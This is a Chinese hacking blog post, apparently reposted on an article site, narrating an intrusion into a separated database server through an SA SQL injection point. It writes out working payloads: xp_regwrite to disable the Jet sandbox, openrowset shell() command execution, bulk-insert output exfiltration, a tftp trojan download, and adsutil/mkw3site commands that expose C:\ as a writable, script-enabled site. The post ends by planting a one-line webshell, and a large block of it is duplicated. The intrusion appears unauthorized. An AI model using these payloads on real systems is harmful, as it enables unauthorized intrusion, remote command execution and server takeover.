记一次前所未有巧妙的Hacking入侵
程序员文章站
2022-04-06 15:53:43
那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定.我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~
... 08-10-08...
那天,正在看资料,朋友丢了个url过来,说是sa注入点,但数据库和web分离的,搞了半天没搞定.我一听,sa注入点,应该很容易的说,于是就很随意的说,ok,没问题,等会给结果~
手工大概的判断了下,的确是个sa注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦操起nbsi这把大刀就开工了。首先尝试恢复xp_cmdshell和sp_oacreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,命令没有成功执行。于是又恢复xp_servicecontrol扩展存储,由于该扩展存储没有回显,偶就随意的echo了一个文件到一个指定目录
然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的hacking扩展存储都给x了吧。不知道xp_regwrite扩展存储被x了没。于是乎,手工开启了沙盒模式
asp?idx=32;exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;--
然后尝试用沙盒模式往指定目录echo了个文件。 asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))--
再用列目录的功能把该目录给列了一遍,发现echo命令执行成功!hoho,还好管理员没把这个扩展存储给x了。 有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp up个马上去。。执行tftp -i ip get muma.exe c:\muma.exe发现一点反映也没有。
猜测可能被管理员限制或del了。于是写了一句话的下载vbs,执行后,老半天没发现我们的马儿,难道,难道他不对外访问? 于是,我又执行了ipcongfig命令,并echo到np.tmp临时文件。可是我们看不到echo的内容,怎么才能得到数据库服务器的ip呢?嘿嘿,想想,他nbsi为什么能回显呢?我们也可以那样做。 asp?idx=32;create table [np_icehack](resulttxt nvarchar(1024) null)-- //创建一个放回显内容的表 asp? idx=32 bulk insert [np_icehack] from 'np.tmp' with (keepnulls);insert into [np_icehack] values ('g_over');alter table [np_icehack] add id int not null identity (1,1)-- //以备份的形式把临时文件np.tmp的内容写入np_icehack表中 然后用nbsi直接把该表跑出来。没过一会,可爱的ip就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。 难道数据库没分离?ping下域名其ip和得到的数据库ip是不一样的。不管三七二十一了,先访问再说。。马上打上ip访问。 发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是iis 5.0啊,难道误报? 突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个web服务)。再访问80一看。yes,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个web服务).再访问80一看,no web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况) cmd /c cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings
查看第一个虚拟web站点的邦定端口。这里的w3svc/1是iis:\ localhostw3svc/1的简写,而serverbindings是他的属性
还是用nbsi列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录 cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/3/root/np "iiswebvirtualdir"
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/path "c:\":
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessread 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesswrite 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessscript 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/enabledirbrowsing 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesssource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ing。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令 cmd /c cscript c:\inetpub\adminscripts\mkw3site.vbs -r "c:\" -t "test" -c "localhost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器ip。再访问netpatch.xx.com hoho,终于可以了。
于是立即echo了一句话马上去,结束了这次hacing之旅. btw:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了n遍才测试ok的。并没有文章里那么顺利。难度在于,对方只开了80且把仅有的web给转发了,而且又不对外访问。
asp?idx=32;exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;--
然后尝试用沙盒模式往指定目录echo了个文件。 asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))--
再用列目录的功能把该目录给列了一遍,发现echo命令执行成功!hoho,还好管理员没把这个扩展存储给x了。 有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp up个马上去。。执行tftp -i ip get muma.exe c:\muma.exe发现一点反映也没有。
猜测可能被管理员限制或del了。于是写了一句话的下载vbs,执行后,老半天没发现我们的马儿,难道,难道他不对外访问? 于是,我又执行了ipcongfig命令,并echo到np.tmp临时文件。可是我们看不到echo的内容,怎么才能得到数据库服务器的ip呢?嘿嘿,想想,他nbsi为什么能回显呢?我们也可以那样做。 asp?idx=32;create table [np_icehack](resulttxt nvarchar(1024) null)-- //创建一个放回显内容的表 asp? idx=32 bulk insert [np_icehack] from 'np.tmp' with (keepnulls);insert into [np_icehack] values ('g_over');alter table [np_icehack] add id int not null identity (1,1)-- //以备份的形式把临时文件np.tmp的内容写入np_icehack表中 然后用nbsi直接把该表跑出来。没过一会,可爱的ip就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。 难道数据库没分离?ping下域名其ip和得到的数据库ip是不一样的。不管三七二十一了,先访问再说。。马上打上ip访问。 发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是iis 5.0啊,难道误报? 突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个web服务)。再访问80一看。yes,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个web服务).再访问80一看,no web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况) cmd /c cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings
查看第一个虚拟web站点的邦定端口。这里的w3svc/1是iis:\ localhostw3svc/1的简写,而serverbindings是他的属性
还是用nbsi列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录 cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/3/root/np "iiswebvirtualdir"
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/path "c:\":
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessread 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesswrite 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accessscript 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/enabledirbrowsing 1
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/3/root/np/accesssource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ing。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令 cmd /c cscript c:\inetpub\adminscripts\mkw3site.vbs -r "c:\" -t "test" -c "localhost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器ip。再访问netpatch.xx.com hoho,终于可以了。
于是立即echo了一句话马上去,结束了这次hacing之旅. btw:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了n遍才测试ok的。并没有文章里那么顺利。难度在于,对方只开了80且把仅有的web给转发了,而且又不对外访问。
上一篇: try/catch/finally的用法